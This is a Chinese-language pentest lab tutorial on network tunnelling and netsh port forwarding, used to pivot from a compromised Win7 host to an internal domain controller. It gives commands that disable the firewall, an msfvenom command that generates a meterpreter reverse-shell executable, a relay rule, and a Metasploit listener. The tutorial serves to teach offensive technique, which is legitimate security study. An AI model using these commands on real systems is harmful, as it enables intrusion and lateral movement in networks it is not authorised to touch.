隧道技术
百度百科:
网络隧道技术指的是利用一种网络协议来传输另一种网络协议,它主要利用网络隧道协议来实现这种功能。网络隧道技术涉及了三种网络协议,即网络隧道协议、隧道协议下面的承载协议和隧道协议所承载的被承载协议
在网络安全中隧道技术可以用于规避防火墙以及流量,加密网络流量以及内网穿透
端口映射
端口映射就是将内网主机的端口映射到公网的vps上,当访问公网IP的某个端口时会自动转发到内网的主机上面,和frp内网穿透比较相似
端口映射和端口转发
端口映射是将外网的一个端口完全映射内网的一个地址的指定端口,端口转发是将外网的一个端口的通信完全转发给内网一个地址的指定端口,端口映射可以实现外网到内网,内网到外网的双向通信,而转发只能实现外网到内网的单向通信
netsh端口转发
netsh是windows系统自带的一个命令行工具,这个工具可以实现端口转发,开启防火墙的情况下不行,所以先关闭防火墙
使用场景
假设我们有一个kali攻击机,已经拿到一个win7系统(出网)的shell,但是win2008域控在内网不出网,我们需要访问win7的某个端口就会自动转发到win2008中,将win7充当代理服务器,进而来访问win2008,实现这种操作可以在win7系统中执行端口转发的操作,这样我们访问win7的某个端口就会自动转发到win2008上面,就会实现对不出网域控的访问
netsh interface portproxy add v4tov4 listenport=绑定的端口 connectaddress=被攻击者服务器ip connectport=被攻击者服务端口
netsh interface portproxy show all #查看转发规则
#根据端口清除规则指定规则:
netsh interface portproxy delete v4tov4 listenport=7777
#清除所有规则:
netsh interface portproxy reset
实验场景:
- win7(已拿到shell):192.168.229.128 192.168.52.143
- win2008:192.168.52.138 开放端口80
- kali:192.168.229.129
关闭代理机的防火墙
netsh firewall set opmode mode = disable
在靶机的shell中执行添加规则
上面的命令会将win7系统的5555端口自动转发到win2008的80端口上面,此时kali访问192.168.229.128:5555
就相当于访问192.168.52.138:80
netsh 配合msf反弹shell
msf 生成windows 反弹shell,反弹到代理机的8086端口上面
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.52.143 lport=8086 -f exe >8086.exe
代理机设置端口转发,将自身的8086端口映射到kali上的4444端口上
netsh interface portproxy add v4tov4 listenport=8086 connectaddress=192.168.229.129 connectport=4444
kali使用msf监听反弹shell
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp #设置payload类型,就是和生成的一样
#设置主机地址
set lhost 192.168.229.128
#设置端口号
set lport 4444
#开启监听
run
在win2008中执行木马,kali msf上线